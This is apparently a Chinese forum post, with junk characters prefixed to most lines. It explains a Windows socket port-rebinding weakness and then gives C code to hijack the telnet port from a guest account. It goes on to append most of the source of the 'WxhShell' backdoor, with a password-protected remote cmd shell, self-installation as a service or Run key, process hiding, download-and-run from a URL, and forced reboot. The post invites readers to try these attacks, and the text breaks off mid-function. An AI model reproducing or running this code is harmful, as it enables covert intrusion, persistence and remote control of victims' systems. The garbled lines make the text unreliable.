在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
i*#Gq6qZq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M['8zN YU9xAN i6 saddr.sin_family = AF_INET;
M,8a$Mdqh K:c5Yq^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
lV]hjt-L
2 lJpD>\$}@R bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_S{HVc z^gf@r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
*^ \xH ,. F +D2
xN@ 这意味着什么?意味着可以进行如下的攻击:
1mwb&j24n3 I{;s.2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q62TYg} 79n,bb5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
R,x\VX!| =7e~L 3 K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
={~`0, E[/<AY^@!z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
UaiDo"i qtnLQl"M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
J)oa:Q cT`x,2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(zwxrOS D@rOX (m 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
eY"y[ *Tl"~)'t~ #include
-d[9mS #include
6{8qATLR #include
q*{i /=~ #include
)Uw
QsP DWORD WINAPI ClientThread(LPVOID lpParam);
:[#HP66[O5 int main()
r4@!QR<h {
f7)}A/$4+ WORD wVersionRequested;
o )GNV DWORD ret;
&"BmCDOq WSADATA wsaData;
?=dyU( BOOL val;
&Y\Vh} SOCKADDR_IN saddr;
k`62&"T SOCKADDR_IN scaddr;
;gcQ9L int err;
ib /B!?/ SOCKET s;
'vgw>\X( SOCKET sc;
?y>xC|kt int caddsize;
Se9I1~mX HANDLE mt;
yeFt0\=H DWORD tid;
$u|p(E:* wVersionRequested = MAKEWORD( 2, 2 );
4Smno%jq err = WSAStartup( wVersionRequested, &wsaData );
<:-|>R". if ( err != 0 ) {
@2v L'6 printf("error!WSAStartup failed!\n");
sOa`T k return -1;
#[vmS }
r50}j saddr.sin_family = AF_INET;
>k<.bEx(A IxAKIa[HY //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
N8m|Y]^H# +_|M*% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
PPU,o8E+ saddr.sin_port = htons(23);
kG[u$[B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yBXdj`bV {
^:5;H=. printf("error!socket failed!\n");
%a<N[H3NV@ return -1;
SouPk/-B80 }
@aN<nd`q) val = TRUE;
n7i;^=9mM //SO_REUSEADDR选项就是可以实现端口重绑定的
IFlDw}M!9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3o9`Ko0 {
/ *Z(;- printf("error!setsockopt failed!\n");
T3u%V_ return -1;
)TnxsFC }
Lfx&DK ! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qXR>Z=K< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5rRYv~+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Tm-Nz7U^^ UpL?6) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
k {_X%H/ {
d^
L`dot ret=GetLastError();
r"x|]nvg^ printf("error!bind failed!\n");
}o0R`15dA return -1;
i64a]= }
"1$OPt5 listen(s,2);
{(U?)4@ while(1)
8`Q8Mct$< {
q]T{g*lT caddsize = sizeof(scaddr);
cx_FtD //接受连接请求
dX-{75o5P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;Xk-hhR if(sc!=INVALID_SOCKET)
b?jRA^ {
%Ui&SZ\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
SL zL/5s if(mt==NULL)
L,*2tJcC< {
tPIT+1. ]z printf("Thread Creat Failed!\n");
FUkO$jnO break;
OE]zC }
C=2 }
Iz*' CloseHandle(mt);
Uh'3c" }
jw?/@(AC6 closesocket(s);
UX}ZE.cV WSACleanup();
"*CQ<@+ return 0;
Vcz ExP }
j2\bCGY DWORD WINAPI ClientThread(LPVOID lpParam)
<k-&Lh:o3 {
=o^oMn SOCKET ss = (SOCKET)lpParam;
XrS. [ SOCKET sc;
-^]8wQU unsigned char buf[4096];
xQ\/6| SOCKADDR_IN saddr;
kE;h[No&K long num;
D+lzISp~e DWORD val;
+ ObP[F DWORD ret;
7(rNJPrU~= //如果是隐藏端口应用的话,可以在此处加一些判断
[tGAo/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
D^yZ!}Kl saddr.sin_family = AF_INET;
-'BC*fV r saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/{vv n saddr.sin_port = htons(23);
_W'>?e0i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
CMB:% {
A&*lb7X printf("error!socket failed!\n");
()e.J return -1;
+dq&9N/ }
,V'+16xW val = 100;
izy7.(.a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Tqz{{]%j~$ {
:#s6, ret = GetLastError();
!G=!^RA return -1;
MlaViw }
&b8Dy=# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(JHzwI8+ {
=>#
S7= ret = GetLastError();
4+e9:r] return -1;
?$i`K| }
f4YcZyBGv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^BIB'/Kh) {
F$<>JEdX printf("error!socket connect failed!\n");
Nd'+s>d0 closesocket(sc);
XdE#l/# closesocket(ss);
)#n0~7
& return -1;
|TLU }
1DVu`<OXcH while(1)
'Vq
<;.A {
Dg3Sn|!f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
RAYDl=} //如果是嗅探内容的话,可以再此处进行内容分析和记录
OD7tM0Wn //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
iU"jV*P] num = recv(ss,buf,4096,0);
d2`m0U if(num>0)
J}U); A send(sc,buf,num,0);
;#$ 67G$ else if(num==0)
H&\[iZ|-N break;
d.Wq@(ZoA num = recv(sc,buf,4096,0);
!)gTS5Rh: if(num>0)
6$$4!R- send(ss,buf,num,0);
,<R/jHZP9 else if(num==0)
0NrUB break;
C1&~Y.6m }
@yiAi:v@ closesocket(ss);
H~IR:WOw closesocket(sc);
{:BAh5e| return 0 ;
Lf0Y|^!S_u }
3Kuu9<0 !iUFD*~r~ >a/]8A ==========================================================
"[M,PI!B GcN[bH(@ 下边附上一个代码,,WXhSHELL
Pu/X_D-#Gi LA &W@ ==========================================================
\) DJo )7!q>^S{B #include "stdafx.h"
VqGmZ|+8 Ey<vvZ #include <stdio.h>
~Sy/q]4ys* #include <string.h>
]."~) #include <windows.h>
P`r@<cgb= #include <winsock2.h>
#tX\m; #include <winsvc.h>
iR}3 [ #include <urlmon.h>
_`3'D`s }dcXuX4{r #pragma comment (lib, "Ws2_32.lib")
$>Md]/I8 #pragma comment (lib, "urlmon.lib")
_2u RY !bs{/? #define MAX_USER 100 // 最大客户端连接数
^ [FK<9 #define BUF_SOCK 200 // sock buffer
lh^-L+G:Ok #define KEY_BUFF 255 // 输入 buffer
L3}n(KAJj Su.imM! #define REBOOT 0 // 重启
N3/G6wn #define SHUTDOWN 1 // 关机
Mbbgsy3W ^w]N#%k\H #define DEF_PORT 5000 // 监听端口
yKupPp); %c+`8 wj #define REG_LEN 16 // 注册表键长度
12l-NWXf #define SVC_LEN 80 // NT服务名长度
C1w~z4Qp uP|Py.+ // 从dll定义API
,36AR|IO) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|,!]]YO.V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tF lLKziU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u /PaXQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
cHqT1EY p5F=?*[} // wxhshell配置信息
eh4` a<gC struct WSCFG {
^na8d's: int ws_port; // 监听端口
]?KTw8j} char ws_passstr[REG_LEN]; // 口令
MR4e.+#E int ws_autoins; // 安装标记, 1=yes 0=no
_cPGS=Ew char ws_regname[REG_LEN]; // 注册表键名
^3~+| A98M char ws_svcname[REG_LEN]; // 服务名
2"0q9 Jg char ws_svcdisp[SVC_LEN]; // 服务显示名
}E[u" @} char ws_svcdesc[SVC_LEN]; // 服务描述信息
;Q YUiR char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$ZnLY uGb int ws_downexe; // 下载执行标记, 1=yes 0=no
Pn?Ujjv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*B<Ig^c char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7oUecyoj kpF")0qr };
R`M>w MLH &n6'r^[D // default Wxhshell configuration
B$ty`/{w,B struct WSCFG wscfg={DEF_PORT,
mEK0ID\ "xuhuanlingzhe",
3PRg/vD3 1,
yC%zX}5 "Wxhshell",
w=e_@^Fkx "Wxhshell",
w5/`_m! "WxhShell Service",
t<8vgdD "Wrsky Windows CmdShell Service",
Oz8"s4Y7 "Please Input Your Password: ",
Z8vMVo 1,
</xz
V<Pi "
http://www.wrsky.com/wxhshell.exe",
K|n%8hRy "Wxhshell.exe"
jhRg47A };
R#"LP7\ RLy2d'DS // 消息定义模块
0}LBnV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
q47>RWMh% char *msg_ws_prompt="\n\r? for help\n\r#>";
=f48[= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9E`WZo^. char *msg_ws_ext="\n\rExit.";
LWH(bs9U char *msg_ws_end="\n\rQuit.";
Kjw==5)} char *msg_ws_boot="\n\rReboot...";
n8h1SlK08 char *msg_ws_poff="\n\rShutdown...";
V$ 8go#5 char *msg_ws_down="\n\rSave to ";
P:lmQHls+ &Tc:WD char *msg_ws_err="\n\rErr!";
qg7qTF& char *msg_ws_ok="\n\rOK!";
=7^rKrD +\Hh|Uz5 char ExeFile[MAX_PATH];
a7$]"
T 7 int nUser = 0;
Z<_"Tk;!', HANDLE handles[MAX_USER];
,K/l;M5I int OsIsNt;
XK*55W&og $] ])FM"b SERVICE_STATUS serviceStatus;
=w&bS,a"y SERVICE_STATUS_HANDLE hServiceStatusHandle;
]81t~t9LQ 4lM)ZDg // 函数声明
.qd/ft2 int Install(void);
seQSDCsvw* int Uninstall(void);
t(~V:+W 9 int DownloadFile(char *sURL, SOCKET wsh);
ot%^FvQ[c int Boot(int flag);
9_=0:GHk void HideProc(void);
aNt+;M7g` int GetOsVer(void);
4*`AYx( int Wxhshell(SOCKET wsl);
cj[a^ ZH void TalkWithClient(void *cs);
EN,PI~~F int CmdShell(SOCKET sock);
c >O>|*I int StartFromService(void);
iX&eQ{LB int StartWxhshell(LPSTR lpCmdLine);
g4eEkG`XTS 5{z muv: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
J\@ r~x5G VOID WINAPI NTServiceHandler( DWORD fdwControl );
, 0hk)Vvr3 _DDknQP // 数据结构和表定义
xX !`0T7Y SERVICE_TABLE_ENTRY DispatchTable[] =
Etj0k}
A {
{th=MldJ? {wscfg.ws_svcname, NTServiceMain},
pA%}CmrMq {NULL, NULL}
Ru&>8Ln0 };
a-\M)}T 61aU~w11a // 自我安装
XBr-UjQ int Install(void)
AfAlDM' {
h0cdRi char svExeFile[MAX_PATH];
Vx
Vpl@ HKEY key;
(^{tu89ab strcpy(svExeFile,ExeFile);
'3i,^g0?t0 =00c1v // 如果是win9x系统,修改注册表设为自启动
^y,Ex;6o if(!OsIsNt) {
c 5%uiv] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X[SdDYMY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>P<8E2}* RegCloseKey(key);
04j]W]8# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=8o$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]\JLlQ}#H RegCloseKey(key);
Sux/=' return 0;
gR\z#Sg }
aAbK{=/y_! }
_\2Ae\&c }
}OsAO else {
h&|S* ShIJ6LZ // 如果是NT以上系统,安装为系统服务
`MLOf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]Pp}=hcD if (schSCManager!=0)
p{vGc-zP. {
/!i`K{ SC_HANDLE schService = CreateService
w=QlQ\ (
&E?TR
A# E schSCManager,
Vr^UEu.w? wscfg.ws_svcname,
3>'TYXs- wscfg.ws_svcdisp,
W?:e4:Q SERVICE_ALL_ACCESS,
/&i6vWMhP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R/WbcQ) SERVICE_AUTO_START,
Bs3M7zRG SERVICE_ERROR_NORMAL,
j&N {j_M svExeFile,
QomihQnc NULL,
: MEB] } NULL,
/ucS*m:<x NULL,
#FhgKwx NULL,
mx!EuF$I NULL
Dq~\U&U\$ );
'% if< / if (schService!=0)
/prR;'ks {
~Fe$/*v CloseServiceHandle(schService);
<-h[I&." CloseServiceHandle(schSCManager);
{y%|Io`P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1a]P+-@u[ strcat(svExeFile,wscfg.ws_svcname);
J*Q+$Ai~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%Q080Ltet RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Q$*JkwPQ} RegCloseKey(key);
*UZd!a) return 0;
!{+a2wi }
QPyHos` }
dJ9v/k_ CloseServiceHandle(schSCManager);
.WVIdVO7 }
r
[E4/?_ }
wVmQE ?Q[b1: ;Lm return 1;
xG1(vn83gq }
ri1;i= W u- }@^Y$M // 自我卸载
Bfu/w int Uninstall(void)
VvUP;o&/ {
i )!+`w*Y HKEY key;
=x@v{cP m7|S'{+! if(!OsIsNt) {
0JXXJ:d B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[$D%]]/, RegDeleteValue(key,wscfg.ws_regname);
@b9qBJfQ RegCloseKey(key);
7NMy1'-q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}3/|;0j$ RegDeleteValue(key,wscfg.ws_regname);
bs_< UE RegCloseKey(key);
%D49A-R return 0;
Y_FQB K U }
4g)$(5jI} }
!DkIM}. }
}a"koL else {
4d8}g25C +&4@HHU{G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
) E*- if (schSCManager!=0)
Kw =RqF {
FM"[:&> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
RDOV+2K if (schService!=0)
oi7Y?hTj {
LYke\/ md if(DeleteService(schService)!=0) {
lxfv'A CloseServiceHandle(schService);
cz1 m05E CloseServiceHandle(schSCManager);
P#9Pq,I return 0;
~^J9v+ }
@ek8t2??x CloseServiceHandle(schService);
+O4//FC-" }
zmhAeblA CloseServiceHandle(schSCManager);
w$0*5n>) }
re fAgS!=q }
juA}7 4xF}rm return 1;
cp&1yB
}
ge ]Z5E(1 tP89gN^PA| // 从指定url下载文件
}\QXPU{UVd int DownloadFile(char *sURL, SOCKET wsh)
-U{!'e8YiN {
u`"Y!*[ - HRESULT hr;
N8)]d char seps[]= "/";
v)aV(Oa char *token;
GA"vJFQ char *file;
0v|qP char myURL[MAX_PATH];
$+ORq3 char myFILE[MAX_PATH];
uMjL>YLq{? g:YUuZ strcpy(myURL,sURL);
H<"EE15 token=strtok(myURL,seps);
gNC'kCx0c while(token!=NULL)
z+c'-!e/ {
n5Mhp:zc, file=token;
EX@Cf!GjN token=strtok(NULL,seps);
|fY#2\)Yx }
#V.u[:mO XEUS)X) GetCurrentDirectory(MAX_PATH,myFILE);
qga\icQr strcat(myFILE, "\\");
rAk;8)O$ strcat(myFILE, file);
Rl'xEtaN send(wsh,myFILE,strlen(myFILE),0);
xLP8*lvy send(wsh,"...",3,0);
24*3m&fA*K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#n+sbx5~7 if(hr==S_OK)
Of#"nu return 0;
tm.&k6% else
p.5 *`, ) return 1;
_6->D[dB ]}pAZd }
:BF
WX ]YY4{E(9d // 系统电源模块
r-Oz k$ int Boot(int flag)
w+{{4<+cd {
bYYjP.rcF HANDLE hToken;
s>=$E~qq TOKEN_PRIVILEGES tkp;
f[q_eY (`<B#D;
if(OsIsNt) {
<9x|)2P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]UrlFiR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
GS*_m4.Ry6 tkp.PrivilegeCount = 1;
/U>8vV+C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ls*Vz,3!5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
m/WDJ$d if(flag==REBOOT) {
z=4E#y`?U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\}Kad\) return 0;
W$`
WkR }
+!t *LSF else {
I]B9+Z?xo if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_k5$.f:Yj< return 0;
iig&O(, }
dBHki*.u }
Is97>aid else {
UJ`%uLR~ if(flag==REBOOT) {
sA
}X)aP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Cyud)BZvm return 0;
G
}M! }
\rCdsN 2H else {
\\/
!I
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=|d5V% mK return 0;
p+2uK|T9 }
Y'y$k }
@"^(} 6 Y3xEFqMU return 1;
8g/r8u~ }
we?t/YB= k,y#|bf,Y
// win9x进程隐藏模块
">s0B5F7 void HideProc(void)
kEg~yN {
:0Fwaw9PH" '=IuwCB|; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
G+iJS!= if ( hKernel != NULL )
B,Jn.YX {
eoPoGC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?#__# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#|lVQ@= FreeLibrary(hKernel);
n4zns,:)/ }
}80n5X<9 ,->
P+m5 return;
7wqD_Xr }
Z8pZm`g)T u[!Ex=9W // 获取操作系统版本
=PoPp int GetOsVer(void)
tI2p-d9B {
Pv@;)s(- OSVERSIONINFO winfo;
*8 ] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
U9AtC.IG! GetVersionEx(&winfo);
+Jc-9Ko\c; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'`p0T%w return 1;
vaZ?>94 else
BimM)4g return 0;
U3w*z6OG }
r3.v ^ qxD<mZ@-R0 // 客户端句柄模块
wSs78c= int Wxhshell(SOCKET wsl)
;<` {
zyI4E\ SOCKET wsh;
7M9s}b%? struct sockaddr_in client;
{XYf"ONi DWORD myID;
$Vm J[EF1 !?)iP while(nUser<MAX_USER)
W/;qMP1"- {
"(?[$R int nSize=sizeof(client);
wT\dzp>/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
F^');8~L if(wsh==INVALID_SOCKET) return 1;
B?_ujH80m m<22E0=g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q&9& )8- if(handles[nUser]==0)
@aGS~^Uh closesocket(wsh);
Mq,_DQ else
Eb9M;u nUser++;
P^*gk P }
:Ee5:S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
fKT(.VNq5 GgjBLe=C return 0;
6d/b*,4[ }
fmq^AnKd FkT% -I // 关闭 socket
jfrUOl'l void CloseIt(SOCKET wsh)
'w7{8^Z2 {
{EupB? closesocket(wsh);
8|,-P=%t nUser--;
]0:R^dHE ExitThread(0);
xE.=\UzJ }
S[M\com' b;Im +9& // 客户端请求句柄
v]27+/a$c void TalkWithClient(void *cs)
? 5
V-D8k {
`24:Eg6r N,_ej@L8 SOCKET wsh=(SOCKET)cs;
yc 5n char pwd[SVC_LEN];
dUJNr_ char cmd[KEY_BUFF];
g@"6QAP char chr[1];
O^gq\X4} int i,j;
PZl(S}VY =U".L while (nUser < MAX_USER) {
]QU52R@M Onoi6^G if(wscfg.ws_passstr) {
^q$vyY
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
K+mtuB]yr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Qi7^z; //ZeroMemory(pwd,KEY_BUFF);
J0|}u1?l i=0;
wGQ{ while(i<SVC_LEN) {
Dl/_jM _>:g&pS/ // 设置超时
tdr*>WL fd_set FdRead;
4/U]7Y struct timeval TimeOut;
_.06^5o FD_ZERO(&FdRead);
F]?$Q'U FD_SET(wsh,&FdRead);
A1f]HT TimeOut.tv_sec=8;
+CNRSq" TimeOut.tv_usec=0;
I.e' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
a^5`fA/L, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
E(U}$Zey ddHIP`wb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qkUr5^1 pwd
=chr[0]; T[q-$8U
if(chr[0]==0xd || chr[0]==0xa) { 2i(|? XJ^
pwd=0; qc'tK6=jp
break; P [nWmY
} Q84KU8?d
i++; W{m0z+N[B
} N<> dg
_zmx
// 如果是非法用户,关闭 socket d8RpL{9\7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p
go\(K0
} Z#o\9/{(R
iK%Rq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X0Oq lAw
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \
bT]?.si
n"K7@[d
while(1) { Z ''P5B;
'HcDl@E
ZeroMemory(cmd,KEY_BUFF); 5!ReW39c;
/?XfVhA:A
// 自动支持客户端 telnet标准 =OZ_\vO
j=0; C${TC+z
while(j<KEY_BUFF) { r&3fSx9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2aje$w-
cmd[j]=chr[0]; |b3/63Ri-0
if(chr[0]==0xa || chr[0]==0xd) { ycAQPz}=I
cmd[j]=0; 'qd")
break; ]VYl Eqe
} -% fDfjP
j++;
B-gr2-
} 3MzY]J
y(
M7>\Qk
// 下载文件 iRVLo~
if(strstr(cmd,"http://")) { %-'U9e KN
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ? s ewU9*
if(DownloadFile(cmd,wsh)) L2h+[f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 99:L#0!.W
else }b^lg&$(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )eV40l$
M
} w9PY^U.Y3e
else { ::`j@ ]
GQZUC\cB
switch(cmd[0]) { ?GC0dN
j5)qF1W,
// 帮助 7=AKQ7BB>b
case '?': { vZDQ@\HrC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,`7GI*Vq
break; 5UM[Iz
} 5,((JxX$
// 安装 H= y-Y_R
case 'i': { Le'\x`B
if(Install()) j&mL]'Zy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PYf`a`dH
else A{o{o++
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v:0i5h&M
break; ]1[;A$7
} XN0Y#l
// 卸载 '~cEdGD9H
case 'r': { gPi_+-@
if(Uninstall()) }Tef;8d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mvh_>-i
else #"M Pe4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (~GFd7
break; -ur]k]R
} ~Iu09t|a
// 显示 wxhshell 所在路径 D/Wuan?yPN
case 'p': { NE4fQi?3
char svExeFile[MAX_PATH]; W*m[t&;
strcpy(svExeFile,"\n\r"); tVcs r
strcat(svExeFile,ExeFile); mN*P2*
send(wsh,svExeFile,strlen(svExeFile),0); Vwqfn4sx?i
break; >?'FH +2K
} R)C+wTG;
// 重启 :jX~]1hpmA
case 'b': { >g2B5KY
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .-ABo]hf
if(Boot(REBOOT)) 31C]TdJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ES2qX]I
else { !tdfTf$
closesocket(wsh); *^uj(8U
ExitThread(0); &F}+U#H
} zef,*dQY
break; &B4U)
} w3Ohm7N[
// 关机 ]>L]?Rm
case 'd': { K5lp-F
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F%d"gF0qu
if(Boot(SHUTDOWN)) ;^*!<F%t9R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Vi:r9|P
else { NHF?73:
closesocket(wsh); ka3Z5
ExitThread(0); lRr-S%
} TfVD'HAN;l
break; ]EnaZWyO]
} 9%qMZP0]
// 获取shell (r4VIlap
case 's': { uLM_KZ
CmdShell(wsh); +CT$/k
closesocket(wsh); eNFUjDm
ExitThread(0); H=#Jg;_w
break; 1znV>PO!
} 2>k)=hl:
// 退出 R6XMBYK^
case 'x': { y^\#bpq&\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @RIEO%S
CloseIt(wsh); c1J)yv1y
break; 0AKwZ'
&H
} E3skC%}
// 离开 |mmG
s
case 'q': { He!!oKK>
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
A*~1Uz\t
closesocket(wsh); lKUm_; m
WSACleanup(); %},G(>
exit(1); \2xBOe-a]
break; J\'5CG
} ~,68S^nP)H
} @t8kN6.
} O97bgj]
})lT fy
// 提示信息 1>VS/H`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p8d n-4
} X);Zm7
} &;U7/?Q
Q;/F0JDH
return; Ch9!AUiR
} +~Ay h[V
O)uM&B=
// shell模块句柄 |S:!+[
int CmdShell(SOCKET sock) xPup?oP >
{ !<zzP LC
STARTUPINFO si; '5/}MMT
ZeroMemory(&si,sizeof(si)); MK"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zw][c7%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x,gE$dNzy
PROCESS_INFORMATION ProcessInfo; u^zitW!X$
char cmdline[]="cmd"; "q^'5p]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &vX!7Y
return 0; [=6~"!P}
} q)ql]iH
~hslLUE
// 自身启动模式 9[{>JRm.
int StartFromService(void) `L#?eQ{
{ 2^#UO=ct
typedef struct ;sR6dT)
{ Jx$#GUl#j
DWORD ExitStatus; |QOJ9~hxD
DWORD PebBaseAddress; E ' JC
DWORD AffinityMask; ?s)sPM?
